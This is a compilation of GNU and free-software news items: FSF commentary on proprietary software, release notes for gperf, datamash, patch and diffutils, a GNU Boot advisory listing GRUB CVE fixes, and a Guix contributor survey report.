Apple stopped offering iCloud end-to-end encryption in the UK after the UK government demanded worldwide access to encrypted user data. This is one more proof that storing your own data “in the cloud” puts it at risk.
Proprietary Subscriptions
Canon is preventing customers from using one of its cameras as a webcam unless they create an account on the company's server, and pay an additional subscription. This unjust practice could be eliminated if the camera firmware were free (as in freedom).
February 2025Google's Software is Malware
Google is forcing its bullshit generator, Gemini, on many users of Gmail without asking them, and not even offering the users a way to deactivate it. Workplace IT managers, whose employees are forced to use Gmail, can get it turned off after a laborious procedure, followed by waiting—the darkest of dark patterns.
In 2019, Google revoked users' ability to turn off the “pull-to-refresh” gesture in Chrome for Android. Despite thousands of protests by frustrated users, Google has not reverted its decision. Proprietary software developers are known for ignoring users' requests in favor of their own gain and convenience. Only free software gives users control over their own computing.
Proprietary Back Doors
Eclypsium discovered an insecure universal back door on many computers using Gigabyte mainboards. Gigabyte designed their nonfree firmware so they could add a program to Windows to download additional software from the Internet, and run it behind the user's back. To add injury to injury, the back-door program was insecure, and opened ways for crackers to run their own programs on the affected systems, also behind the user's back. Gigabyte's “solution” was to ensure the back door would only run programs from Gigabyte. In this case, the back door required the connivance of Windows accepting the program, and running it behind the user's back. Free operating systems rightly ignore such “Greek gifts,” so users of GNU (including GNU/Linux) are safe from this particular back door, even on affected hardware. Nonfree software does not make your computer secure—it does the opposite: it prevents you from trying to secure it. When nonfree programs are required for booting and impossible to replace, they are, in effect, a low-level rootkit. All the things that the industry has done to make its power over you secure against you also protect firmware-level rootkits against you. Instead of allowing Intel, AMD, Apple and perhaps ARM to impose security through tyranny, we should demand laws that require them to allow users to install their choice of startup software and make available the information needed to develop such. Think of this as right-to-repair at the initialization stage. Note: Eclypsium at least mentions the problem of “unwanted behavior within official firmware,” but does not seem to recognize that the only real solution is for firmware to be free, so users can fix these problems without having to rely on the vendor.
Download from https://ftp.gnu.org/gnu/gperf/gperf-3.2.tar.gz
New in this release:
The generated code avoids several types of warnings:
"implicit fallthrough" warnings in 'switch' statements.
"unused parameter" warnings regarding 'str' or 'len'.
"missing initializer for field ..." warnings.
"zero as null pointer constant" warnings.
The input file may now use Windows line terminators (CR/LF) instead of Unix line terminators (LF). Note: This is an incompatible change. If you want to use a keyword that ends in a CR byte, such as xyz, write it as "xyz\r".
This is to announce datamash-1.9, a stable release.
Home page: https://www.gnu.org/software/datamash
GNU Datamash is a command-line program which performs basic numeric,
textual and statistical operations on input textual data files.
It is designed to be portable and reliable, and aid researchers
to easily automate analysis pipelines, without writing code or even
short scripts. It is very friendly to GNU Bash and GNU Make pipelines.
There have been 52 commits by 5 people in the 141 weeks since 1.8.
See the NEWS below for a brief summary.
The following people contributed changes to this release:
Dima Kogan (1)
Erik Auerswald (14)
Georg Sauthoff (4)
Shawn Wagner (6)
Timothy Rice (27)
Thanks to everyone who has contributed!
Please report any problem you may experience to the bug-datamash@gnu.org
mailing list.
Here is the GNU datamash home page:
https://gnu.org/s/datamash/
Here are the compressed sources and a GPG detached signature:
https://ftpmirror.gnu.org/datamash/datamash-1.9.tar.gz
https://ftpmirror.gnu.org/datamash/datamash-1.9.tar.gz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify datamash-1.9.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following command to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
This release is also GPG signed. You can download the signature by appending '.sig' to the URL. If the 'gpg --verify' command fails because you don't have the required public key, then run this command to import it:
The --follow-symlinks option now applies to output files as well as input.
'patch' now supports file timestamps after 2038 even on traditional
GNU/Linux platforms where time_t defaults to 32 bits.
'patch' no longer creates files with names containing newlines,
as encouraged by POSIX.1-2024.
Patches can no longer contain NUL ('\0') bytes in diff directive lines.
These bytes would otherwise cause unpredictable behavior.
Patches can now contain sequences of spaces and tabs around line numbers
and in other places where POSIX requires support for these sequences.
--enable-gcc-warnings no longer uses expensive static checking.
Use --enable-gcc-warnings=expensive if you still want it.
Fix undefined or ill-defined behavior in unusual cases, such as very
large sizes, possible stack overflow, I/O errors, memory exhaustion,
races with other processes, and signals arriving at inopportune moments.
Remove old "Plan B" code, designed for machines with 16-bit pointers.
Assume C99 or later; previously it assumed C89 or later.
Port to current GCC, Autoconf, Gnulib, etc.
The following people contributed changes to this release:
Andreas Gruenbacher (34)
Bruno Haible (5)
Collin Funk (2)
Eli Schwartz (1)
Jean Delvare (2)
Jim Meyering (1)
Kerin Millar (1)
Paul Eggert (166)
Petr Vaněk (1)
Sam James (1)
Takashi Iwai (1)
Special thanks to Paul Eggert for doing the vast majority of the work.
This release is meant to fix multiple security issues that are present
in the GRUB version we use (2.06+).
Users having replaced the GNU Boot picture / logo with untrusted
pictures could have been affected if the pictures they used were
specially crafted to exploit a vulnerability in GRUB and take full
control of the computer. In general it's a good idea to avoid using
untrusted pictures in GRUB or other boot software to limit such risks
because software can have bugs (a similar issue also happened in a
free software UEFI implementation).
Users having implemented various user-respecting flavor(s) of
secure-boot, either by using GPG signatures and/or by using a GRUB
password combined with full disk encryption are also affected as these
security vulnerabilities could enable people to bypass secure-boot
schemes.
In addition there are also security vulnerabilities in file systems,
which also enable execution of code. When booting, GRUB has to load
files (like the Linux or linux-libre kernel) that are executed
anyway. But in some cases, it could still affect users.
This could happen when trying to boot from an USB key, and also having
another USB key that has a file system that was crafted to take
control of the computer.
At the time, no known exploits are known by the GNU Boot maintainers.
Why it took so long.
The 18 February, the GRUB maintainer posted some patches on the
grub-devel mailing list in order to notify people that there were some
security vulnerabilities in GRUB that were fixed, and which commit
fixed them.
One of the GNU Boot maintainers saw these patches but didn't read the
mails and assumed that a new GRUB release was near and decided to wait
for it as this would make things easier as GRUB releases are tested in
many different situations.
However the thread posting these patches also mentioned that a new
release would take too much time and that the GRUB contributors and/or
maintainers already had a lot to deal with.
It took a while to realize the issue: a second GNU Boot maintainer saw
the GRUB security vulnerabilities later on, and at this point they
realized that nothing had happened yet on GRUB side yet and they
looked into the issue.
In addition the computer of one of the GNU Boot maintainer broke,
which also delayed the review of the GNU Boot patches meant to fix
this security issues.
These patches also contain fixes for the GNU Boot build system as well
to ensure users building GNU Boot themselves really do get an updated
GRUB version.
As this is a new release candidate, we also need help for reporting on
which computers and/or configuration it works or doesn't work,
especially because we had to update to an unreleased GRUB version to
get the fixes (see below for more details).
Other affected distributions?
We started telling the Canoeboot and Libreboot maintainer about the
issue to later find out that the issue was fixed since the 18
February, and their users were also notified via a news, so everything
is good on that side.
For most 100% free distributions, using GRUB from git would be
a significant effort in testing and/or in packaging.
We notified Trisquel, Parabola and Guix and the ones who responded are
not comfortable with updating GRUB to a not-yet released git
revision. Though in the case of Parabola nothing prevent adding a new
grub-git package that has no known vulnerabilities in addition to the
existing grub package, so patches for that are welcome.
As for the other distributions, most of them do support secure boot
(by supporting UEFI secure boot), but they are probably aware of the
issue as (maintainers of) distributions like Debian or Arch Linux
either responded to the thread on the GRUB mailing list, or were
mentioned as having fixed the issue in that thread.
At the time of writing, the affected GRUBs versions seems not to be
blacklisted yet by UEFIs, so it also leaves some time to fix the
issue, and things like GRUB password can usually be bypassed easily
unless people use distributions like GNU Boot or Canoeboot and
configure both the hardware and the software to support a secure boot
scheme that respect users freedoms.
As for PureOS we just notified them in a bug report as they have UEFI
secure boot, but in another hand we don't know if they are aware of
that (they are based on Debian so it could be inherited from Debian
and not something supported/advertised), and because Purism (the
company behind PureOS) ships computers with their own secure boot
scheme (PureBoot), since it works in a very different way we are not
sure if people could be affected or not.
References and details
This release should fix the following CVEs affecting previous GRUB
2.06: CVE-2025-0690, CVE-2025-0622, CVE-2024-45775, CVE-2024-45777,
CVE-2024-45778, CVE-2024-45779, CVE-2024-45781, CVE-2024-45782,
CVE-2024-45783, CVE-2025-0624, CVE-2025-0677, CVE-2025-0684,
CVE-2025-0685, CVE-2025-0686, CVE-2025-0689, CVE-2025-1125.
More details are available in the "[SECURITY PATCH 00/73] GRUB2
vulnerabilities - 2025/02/18" thread From Daniel Kiper (Tuesday, 18
February 2025, archived online at
https://lists.gnu.org/archive/html/grub-devel/2025-02/msg00024.html).
The Free Software Foundation will auction off original GNU drawings, awards, and historic tech in an unprecedented virtual memorabilia auction on March 23, 2025, 14:00 to 17:00 EDT.
In a decisive step towards the modernization of healthcare in the country, the Dr. Hugo Mendoza Pediatric Hospital (HPHM) has officially presented its new GNU Health Management System. This digital platform, designed to optimize both medical care and administrative processes, marks a significant advance in the digital transformation of pediatric services in the Dominican Republic.
The launch of the innovative system was attended by José Miguel Rodríguez, deputy administrative director of the hospital, who highlighted the importance of digitalization in improving healthcare services. “We are starting a new era in children's health. With GNU Health, doctors will have faster and more efficient access to medical information, which will enable more informed decisions and ensure safer and more timely care,” said Rodríguez during the event.
Dhamelisse Then, director of the hospital, highlighted the impact this new tool will have on the quality of the services offered. “The integration of GNU Health not only improves service, but also reinforces our commitment to innovation and excellence in pediatric care. This advance will be fundamental for the lives of thousands of children and their families,” said Then.
Tranlated from source:
https://cdn.com.do/nacionales/hospital-hugo-mendoza-lanza-innovador-software-para-transformar-la-salud-pediatrica/
fix in gtypits.typ, to jump from the global menu to the menus of the
individual lessons
small fix to u.typ lesson
remove cmdline.c and cmdline.h files from the git repo; this will
only affect those who build from git sources; dependency to gengetopt
added to README.git
include the version.sh file, so autoconf can always update project
version
Addendum: since v2.10, gtypist is saving configuration setting in the
file .gtypistrc
This is to announce diffutils-3.11, a stable release.
Special thanks to Paul Eggert for doing the vast majority of the work and
to Bruno Haible for his many changes here and his tons of work tending gnulib.
There have been 252 commits by 5 people in the 89 weeks since 3.10.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bruno Haible (12)
Collin Funk (3)
Gleb Fotengauer-Malinovskiy (1)
Jim Meyering (26)
Paul Eggert (210)
Jim
[on behalf of the diffutils maintainers]
==================================================================
Here is the GNU diffutils home page:
https://gnu.org/s/diffutils/
Here are the compressed sources:
https://ftp.gnu.org/gnu/diffutils/diffutils-3.11.tar.gz (3.3MB)
https://ftp.gnu.org/gnu/diffutils/diffutils-3.11.tar.xz (1.9MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/diffutils/diffutils-3.11.tar.gz.sig
https://ftp.gnu.org/gnu/diffutils/diffutils-3.11.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify diffutils-3.11.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
or run this command from a git-cloned diffutils directory:
git shortlog v3.10..v3.11
This release was bootstrapped with the following tools:
Autoconf 2.72.47-21cb
Automake 1.17.0.91
Gnulib 2025-01-31 553ab924d2b68d930fae5d3c6396502a57852d23
NEWS
Noteworthy changes in release 3.11 (2025-02-02) [stable]
** Improvements
Programs now quote file names more consistently in diagnostics.
For example; "cmp 'none of' /etc/passwd" now might output
"cmp: EOF on ‘none of’ which is empty" instead of outputting
"cmp: EOF on none of which is empty". In diagnostic messages
that traditionally omit quotes and where backward compatibility
seems to be important, programs continue to omit quotes unless
a file name contains shell metacharacters, in which case programs
use shell quoting. For example, although diff continues to output
"Only in a: b" as before for most file names, it now outputs
"Only in 'a: b': 'c: d'" instead of "Only in a: b: c: d" because the
file names 'a: b' and 'c: d' contain spaces. For compatibility
with previous practice, diff -c and -u headers continue to quote for
C rather than for the shell.
diff now outputs more information when symbolic links differ, e.g.,
"Symbolic links ‘d/f’ -> ‘a’ and ‘e/f’ -> ‘b’ differ", not just
"Symbolic links d/f and e/f differ". Special files too, e.g.,
"Character special files ‘d/f’ (1, 3) and ‘e/f’ (5, 0) differ", not
"File d/f is a character special file while file e/f is a character
special file".
diff's --ignore-case (-i) and --ignore-file-name-case options now
support multi-byte characters. For example, they treat Greek
capital Δ like small δ when input uses UTF-8.
diff now supports multi-byte characters when treating white space.
In options like --expand-tabs (-t), --ignore-space-change (-b) and
--ignore-tab-expansion (-E), diff now recognizes non-ASCII space
characters and counts columns for non-ASCII characters.
** Bug fixes
cmp -bl no longer omits "M-" from bytes with the high bit set in
single-byte locales like en_US.iso8859-1. This fix causes the
behavior to be locale independent, and to be the same as the
longstanding behavior in the C locale and in locales using UTF-8.
[bug introduced in 2.9]
cmp -i N and -n N no longer fail merely because N is enormous.
[bug present since "the beginning"]
cmp -s no longer mishandles /proc files, for which the Linux kernel
reports a zero size even when nonempty. For example, the following
shell command now outputs nothing, as it should:
cp /proc/cmdline t; cmp -s /proc/cmdline t || echo files differ
[bug present since "the beginning"]
diff -E no longer mishandles some input lines containing '\a', '\b',
'\f', '\r', '\v', or '\0'.
[bug present since 2.8]
diff -ly no longer mishandles non-ASCII input.
[bug#64461 introduced in 2.9]
diff - A/B now works correctly when standard input is a directory,
by reading a file named B in that directory.
[bug present since "the beginning"]
diff no longer suffers from race conditions in some cases
when comparing files in a mutating file system.
[bug present since "the beginning"]
Today we're looking at the results from the Contributor section of the Guix User and Contributor Survey (2024). The goal was to understand how people contribute to Guix and their overall development experience. A great development experience is important because a Free Software project's sustainability depends on happy contributors to continue the work!
See Part 1 for insights about Guix adoption, and Part 2 for users overall experience. With over 900 participants there's lots of interesting insights!
Contributor communityThe survey defined someone as a Contributor if they sent patches of any form. That includes changes to code, but also other improvements such as documentation and translations. Some Guix contributors have commit access to the Guix repository, but it's a much more extensive group than those with commit rights.
Of the survey's 943 full responses, 297 participants classified themselves as current contributors and 58 as previous contributors, so 355 participants were shown this section.
The first question was (Q22), How many patches do you estimate you've contributed to Guix in the last year?
Note that the percentages in this table, and throughout the posts, are rounded up to make them easier to refer to.
The percentage is the percentage of contributors that sent patches in the last year. That means the 42 participants who were previous contributors have been excluded.
Figure 13 shows this visually:
Figure 13: Guix contributor estimated patch countAs we can see many contributors send a few patches (61%), perhaps updating a package that they personally care about. At the other end of the scale, there are a few contributors who send a phenomenal number of patches.
Active contributorsIt's interesting to investigate the size of Guix's contributor community. While running the survey I did some separate research to find out the total number of contributors. I defined an Active contributor as someone who had sent a patch in the last two years, which was a total of 454 people. I deduplicated by names, but as this is a count by email address there may be some double counting.
This research also showed the actual number of patches that were sent by contributors:
Figure 14: Active Guix contributors by patch countTogether this give us an interesting picture of the contributor community:
There's a good community of active contributors to Guix: 300 in the survey data, and 454 from the direct research.
A significant percentage of contributors send one, or a few patches. This reflects that packaging in Guix can be easy to get started with.
The direct research shows an even distribution of contributors across the different levels of contribution. This demonstrates that there are some contributors who have been working on Guix for a long-time, as well as newer people joining the team. That's great news for the sustainability of the project!
There are also some very committed contributors who have created a lot of patches and been contributing to the project for many years. In fact, the top 10 contributors have all contributed over 700 patches each!
Types of contributionThe survey also asked contributors (Q23), How do you participate in the development of Guix?
Table 23: Types of contribution| Type of contribution | Count | Percentage |
| --- | --- | --- |
| Develop new code (patches services, modules, etc) | 312 | 59% |
| Review patches | 65 | 12% |
| Triage, handle and test bugs | 65 | 12% |
| Write documentation | 38 | 7% |
| Quality Assurance (QA) and testing | 23 | 4% |
| Organise the project (e.g. mailing lists, infrastructure etc) | 16 | 3% |
| Localise and translate | 12 | 2% |
| Graphical design and User Experience (UX) | 2 | 0.4% |
Figure 15 shows this as a pie chart (upping my game!):
Figure 15: Guix contribution typesOf course, the same person can contribute in multiple areas: as there were 531 responses to this question, from 355 participants, we can see that's happening.
Complex projects like Guix need a variety of contributions, not just code. Guix's web site needs visual designers who have great taste, and certainly a better sense of colour than mine! We need documentation writers to provide the variety of articles and how-tos that we've seen users asking for in the comments. The list goes on!
Unsurprisingly, Guix is code heavy with 60% of contributors focusing in this area, but it's great to see that there are people contributing across the project. Perhaps there's a role you can play? ... yes, you reading this post!
Paid vs unpaid contributionFOSS projects exist on a continuum of paid and unpaid contribution. Many projects are wholly built by volunteers. Equally, there are many large and complex projects where the reality is that they're built by paid developers — after all, everyone needs to eat!
To explore this area the survey then asked (Q24), Are you paid to contribute to Guix?
The results show:
Table 24: Contributor compensation| Type of compensation | Count | Percentage |
| --- | --- | --- |
| I'm an unpaid volunteer | 328 | 94% |
| I'm partially paid to work on Guix (e.g. part of my employment or a small grant) | 19 | 5% |
| I'm full-time paid to work on Guix | 1 | 0.3% |
| No answer | 7 | N/A |
The best way to work on Guix professionally is to find a way to make it part of your employment.
For everyone involved in the project the fact that the majority of contributors are doing it in their spare time has to be factored into everything we do, and how we treat each other.
Previous contributorsEnsuring contributors continue to be excited and active in the project is important for it's health. Ultimately, fewer developers means less can be done. In volunteer projects there's always natural churn as contributor's lives change. But, fixing any issues that discourages contributors is important for maintaining a healthy project.
Question 25 was targeted at the 59 participants who identified themselves as Previous Contributors. It asked, You previously contributed to Guix, but stopped, why did you stop?
The detailed results are:
Table 25: Previous contributor analysis| Category | Count | Percentage of Previous Contributors |
| --- | --- | --- |
| External circumstances (e.g. other priorities, not enough time, etc) | 28 | 35% |
| Response to contributions was slow and/or reviews arduous | 12 | 15% |
| The contribution process (e.g. email and patch flow) | 11 | 14% |
| Developing in Guix/Guile was too difficult (e.g. REPL/developer tooling) | 6 | 8% |
| Guix speed and performance | 3 | 4% |
| Project co-ordination, decision making and governance | 2 | 3% |
| Lack of appreciation, acknowledgement and/or loneliness | 2 | 3% |
| Negative interactions with other contributors (i.e. conflict) | 2 | 3% |
| Burnt out from contributing to Guix | 2 | 3% |
| Learning Guix internals was too complex (e.g. poor documentation) | 1 | 1% |
| Social pressure of doing reviews and/or turning down contributions | 1 | 1% |
| Other | 10 | 13% |
Figure 17 shows this graphically:
Figure 17: Reasons for ceasing to contribute to GuixThere were 80 answers from the 59 participants so some participants chose more than one reason.
As we can see a change in external circumstances was the biggest reason and to be expected.
The next reason was Response to contributions was slow and/or reviews arduous, as we'll see this repeatedly showed-up as the biggest issue.
Next was The contribution process (e.g. email and patch flow) which also appears in many comments. Judging by the comments the email and patch flow may be a gateway factor that puts-off potential contributors from starting. There's no way for the survey to determine this as it only covers people that started contributing and then stopped, but the comments are interesting.
Future contributionsQ26 asked contributors to grade their likelihood of contributing further, this is essentially a satisfaction score.
The question was, If you currently contribute patches to Guix, how likely are you to do so in the future?
Figure 18: Contributor satisfactionOut of the audience of current and previous contributors, 355 in total:
The 35% of contributors who are 'Certain' they'll contribute is a great sign.
The 31% that are 'Likely' shows that there's a good pool of people who could be encouraged to continue to contribute.
We had 58 participants who categoried themselves as Previous Contributors and 41 answered this question with definitely or probably not, that's about 12%. That leaves the 80 (23%) who are loosely positive.
Improving contributionThe survey then explored areas of friction for contributors. Anything that reduces friction should increase overall satisfaction for existing contributors.
The question (Q27) was, What would help you contribute more to the project?
Table 27: Contribution improvements| Answer | Count | Percentage |
| --- | --- | --- |
| Timely reviews and actions taken on contributions | 203 | 20% |
| Better read-eval-print loop (REPL) and debugging | 124 | 12% |
| Better performance and tuning (e.g. faster guix pull) | 102 | 10% |
| Better documentation on Guix's internals (e.g. Guix modules) | 100 | 10% |
| Guidance and mentoring from more experienced contributors | 100 | 10% |
| Addition of a pull request workflow like GitHub/Gitlab | 90 | 9% |
| Improved documentation on the contribution process | 77 | 8% |
| Nothing, the limitations to contributing are external to the project | 65 | 7% |
| More acknowledgement of contributions | 40 | 4% |
| More collaborative interactions (e.g. sprints) | 41 | 4% |
| Other | 56 | 6% |
Figure 19 bar chart visualises this:
Figure 19: Improvements for contributorsThe 355 contributors selected 933 options for this question, so many of them selected multiple aspects that would help them to contribute more to the project.
Conclusions we can draw are:
Ensuring there's Timely reviews and actions taken on contributions is the biggest concern for contributors, and as we saw also causes contributors to become demoralised and cease working on the project.
The concern over both Debugging and error messages has been a consistent concern from contributors.
Interestingly, documentation of Guix's internals is a priority in this list, but in other questions it doesn't appear as a high priority.
Comments on improving contributionJumping ahead, the last question of the contributor section (Q30) was a comment box. It asked, Is there anything else that you would do to improve contributing to Guix?
The full list of comments from Q27, and Q30 are available and worth reading (or at least scanning!).
Looking across all of them I've created some common themes - picking a couple of example comments to avoid repetition:
Compensation for developers: there were comments from developers who want to work on Guix professionally, or people offering to donate.
"[Part of a long comment] ... For me personally it really boils down to the review process. Some patches just hang there for many months without any reaction. That is quite discouraging to be honest. So if there would be fund raising, I think it should (for a large part) go to paying someone (maybe even multiple people?) to do code reviews and merge patches. And in general do the "gardening job" on the issue tracker."
"I would be happy to contribute to some kind of fund, maybe by a monthly subscription, which would award stipends for experienced guix contributors to work on patch review."
Complexity of contribution: where the overall set of steps required to contribute were too complex.
"For occasional contributions, the threshold is higher than for most projects, in part due to less common tools used in the project (bugtracker for example)"
"[long comment where the substance is] I'd rather spend my limited time contributing to a 100% free software project than reading 20 webpages on how to use all the CLI tooling."
Issues with email-based contribution: concerns about the steps to create a patch, email it and so forth.
"Difficult; I am not used to the email workflow and since I'm not contributing often it is close to rediscovering everything again which is annoying. There isn't a specific thing that could solve that I guess. apologies if this doesn't say much"
"The GNU development process with mailing lists and email patches is the most difficult aspect."
Issues with speed and capacity of patch reviews: this is the highest priority amongst contributors, so there were many comments about patches not being reviewed, or reviews taking a long time.
"I really dislike that 70% of my patches don't get reviewed at all, how simple or trivial they may be. I do really test them and dogfood so contributing seems like a waste of time as someone without commit-access."
"I already checked "timely reviews/actions", but I want to emphasize how demoralizing my contribution experience was. I was excited about how easy it was to make, test, and submit a patch; I would love to help improve the packaging situation for things that I use. But it's been about a year now since I submitted some patches and have received exactly 0 communication regarding what I submitted. No reviews, no comments, no merge, nothing. Really took the wind out of my sails"
Automate patch testing and acceptance: suggestions to speed up the review pipeline by automating.
"A bias for action. If no one shows interest in a patch, and it's constrained, it should just be landed."
"Minimizing the required work needed to keep packages up to date. Most of the best developers in Guix are commiters and all the time they have to spend reviewing package update patches etc. is away from improving Guix's core. They should be able to focus on things like shepherd, bootloader configuration, guix-daemon in guile, distributed substitutes or a more modular system configuration (e.g. letting nginx know of certbot certificates without having to manually pass (ssl-certificate "/etc/..."))."*
Adding more committers: comments that more contributors would increase project velocity, and general concerns about how difficult it is to become a committer.
"Keep manual up to date, I think we need more committers doing reviews and give more love to darker corners."
"All the best. The project might need more hands to review incoming patches."
Addition of a pull requests workflow: specific comments requesting the addition of a Forge experience.
"I would use Forgejo (either an instance or at codeberg) to simplify contributions and issue handling. In my humble and personal opinion the forge workflow makes it much easier to get an overview of what is going on and to interact with others on issues and PRs"
"I think opening a pull request approach would really modernize the way of working and help welcome more people. We could still easily support patches too."
Automating package builds and tests: comments relating to automation of building packages as part of the contribution flow.
"We really need to improve the CICD situation. I see we have so many system tests that could catch issues. Let's make sure each patch has run at least against a couple of those system tests before it is being merged, or even before a reviewer has even looked at. Today a colleague of mine, who is just getting into Guix because I told him had issues with the u-boot-tools package not being built on a substitute server and being broken. Yeah, that can happen, but it happens all the time and it is such a bad experience for new and existing users."
Bugtracker improvements: comments about improving the bug tracker.
"A formal method to count the number of users affected by an issue so that developers know what to prioritize. For example, ubuntu's launchpad has a "bug heat" metric which counts the number of users that report they are affected by the bug."
Debugging and error reporting: challenges debugging issues due to difficult error messages in Guix, or underlying Guile weaknesses.
"The development workflow with Guile. I've recently switched to arei/ares, but I'm still a total newbie on how to effectively develop and navigate. I've used quite some Common Lisp, and I have my own channel with a handful packages, but it takes a long time to develop without the necessary knowledge of both Guile setup and Guix setup."
"I just want to reiterate that the debugging process can be painful sometimes. Sometimes guile gives error messages that can be bewildering. As an example, I spent awhile debugging the error message "no value specified for service of type 'myservice'". The problem was that I omitted the default-value field in my service-type, but the error message could have included the default-value field."
Runtime performance and resource usage: where it makes the experience of building and testing Guix slow or unusable.
"Foremost faster guix evals. I forget what I was doing while it runs."
"Building guix takes too long time for packagers. It is not clear why everything needs to be compiled when only contributing a package. Why does the documentation need to be built when adding a package?"
Practical guides, how-tos and examples: requests for direct instructions or examples, as compared to reference documentation.
"Improve the documentation on how to contribute. It is currently very hard to follow, some sections are simply in the wrong order, others presuppose the reader wants to evaluate several different alternatives instead of pointing to one simple way of doing things. And steps that though simple are unusual and will seem complicated to most people don't get explained in sufficient detail and examples."
FSF association as a constraint: concerns about Free Software and GNU as an organisation constraining practical user freedom.
"Drop GNU and drop the hardline stance against discussing any proprietary software. It doesn't have to be supported directly, but at least have a link to Nonguix or something. Or have a feature flag like Nixpkgs. Who cares if the distro is certified by an organization that is pretty much irrelevant, actually giving people agency over their tech is what should be the number one goal."*
"Guix is one of the GNU projects with the most potential and relevance, but unfortunately it seems association with the FSF is a contributing factor to limited adoption."
Not enough FSF: comments that the Guix project was not sufficiently supportive of FSF and/or Richard Stallman.
"collaborate more with other GNU projects"
Commit messages: concerns that the commit message format is repetitious or unneccessary.
"Encourage or enforce the usage of commit messages that detail why a change is done (and not what is done - which is already visible from the git diff)."
Importers and language ecosystem: comments about possible improvements to deal with dynamic language ecosystems (e.g. Javascript and Rust).
"Improved build systems and importers. Generally improving management of high-noise ecosystems (Maven, Rust, NPM, …)"
"Packaging Golang or Rust apps can be difficult and time-consuming because Guix requires all (recursive) dependencies to be packaged in Guix. I often gave up and just re-packaged a precompiled binary from upstream or another distro. It would be much easier if Guix relied on existing language-specific dependency management (e.g., use Cargo.lock files to fix all dependencies) - not perfect from Guix pov, but pragmatic and much more usable."
"More flexible package definitions but also more strict filtering of available packages. For example, allow some packages to use the internet in the build path (so you may easily install pip packages like TensorFlow, Flax), but by default do not allow installation of NonFree licenses and network enabled packages. We allow package transformations (--with-commit) which need network access anyway and doesn't verify hashes, I think this can be allowed. The end goal of a package should be to be reproducible from source, but the current goal can be usability, widespread adoption, reliability. This way we can start to use Guix in more scientific experiments and super computers, then the new users can help contribute further."
Project communications methods: requests for communications within the project to use modern methods (e.g. Matrix, Discourse, Github).
"Having a Discourse instance, so that people can ask questions and others and chime in and the best answers get upvotes. IRC and mailing lists are suboptimal. My success rate of getting ANY reply to my question have been consistently less than 50% regardless of the time of the day, because in IRC it scrolls down and questions go out of focus. Also in IRC the threads of discussion is getting mixed. Keep the IRC, but provide a Discourse instance. I personally even pay for paart of the cost."
Repo organisation: ideas to widen the set of contributors by having a community repo (e.g. Arch Linux like).
"I would like more packages under Guix, but I am not convinced that adding them all to the Guix channel is the way. I believe a large number of Guix packages should be moved to guix-free or similar channel. The packages in Guix itself should be the minimal ones that come installed in Guix system. The guix-free channel should be part of default-channels."
"I feel like channels are a cumbersome alternative to community packages. I previously tried to package a lesser known programming language compiler for Guix but never got replies to my patches to contribute the package. Perhaps there could be a core and community channel with stronger/weaker standards."
Project culture: concerns about the project being inward looking, not inclusive and with too much gatekeeping. Most comments in this area were very passionate, and in some cases a bit angry.
"TODO lists and direction is very helpful. Lists of "good first task" or "very important — need help with" etc, things to motivate others to contribute in. Also helpful if people ACTUALLY become part of the distro and it's not all gate-kept by idiots with attitude. I don't want to invest 1000 man hours to prove myself worthy of maintanership of a package!"
Organisational and social improvementsIt's common in FOSS projects to focus on the technical issues, but Free Software is a social endeavour where organisational and social aspects are just as important. Q28 focused on the social and organisational parts of contribution by asking, What organisational and social areas would you prioritise to improve Guix?
This was a ranked question where participants had to prioritise their top 3. The rationale for asking it in this way was to achieve prioritisation.
It's useful to look at the results in two ways, first the table where participants set their highest priority (Rank 1):
Table 28: Rank 1 — Organisational and social improvements| Category | Count | Percentage |
| --- | --- | --- |
| Improve the speed and capacity of the contribution process | 213 | 63% |
| Project decision making and co-ordination | 36 | 11% |
| Fund raising | 22 | 7% |
| Request-for-comments (RFC) process for project-wide decision making | 17 | 5% |
| Regular releases (i.e. release management) | 19 | 6% |
| In-person collaboration and sprints | 8 | 2% |
| Promotion and advocacy | 23 | 7% |
Out of the 355 participants in this section, 338 answered this question and marked their highest priority.
Figure 20 shows it as a pie chart:
Figure 20: Organisational and social improvements to GNU Guix (Rank 1)This second table shows how each category was prioritied across all positions:
Table 29: All Ranks - Organisational and social improvements| Category | Rank 1 | Rank 2 | Rank 3 | Overall priority |
| --- | --- | --- | --- | --- |
| Project decison making and co-ordination | 2 | 1 | 3 | 1 |
| Promotion and advocacy | 3 | 3 | 1 | 2 |
| Fund raising | 4 | 5 | 2 | 3 |
| Request-for-comments (RFC) process for project-wide decision making | 6 | 2 | 4 | 4 |
| Improve the speed and capacity of the contribution process | 1 | 6 | 6 | 5 |
| Regular releases (i.e. release management) | 5 | 4 | 5 | 6 |
| In-person collaboration and sprints | 7 | 7 | 7 | 7 |
Figure 21 shows this as a stacked bar chart. Each of the categories is the position for a rank (priority), so the smallest overall priority is the most important:
Figure 21: Organisational and social improvements to GNU Guix (All Ranks)Looking at these together:
It's clear that the highest priority (table 28) is to Improve the speed and capacity of the contribution process, as 63% of participants selected it and nothing else was close to it.
I found it quite confusing that it didn't also score highly in the second and third rank questions, which negatively impacts the overall score. This seems to be caused by the question having a significant drop-off in answers: 338 participants set their 'Rank 1', but only 264 set a 'Rank 2' and then 180 set a 'Rank 3'. The conclusion I draw is that for many contributors the sole important organisational improvement is to improve the speed and capacity of the contribution process.
Nonetheless, overall Project decision making and co-ordination was the most important social improvement across all ranks, and it was the second most important one for 'Rank 1' — so that's pretty consistent. Other than improving the contribution process this was the next most important item on contributors minds.
Promotion and advocacy also seems to be important, though there are very few comments about it in the survey overall. The next most important across all ranks was Fund raising, which does get some comments.
Technical improvementsThe partner question was Q29 which asked, What technical areas would you prioritise to improve Guix overall?
This was also a ranked question where participants had to prioritise their top 3.
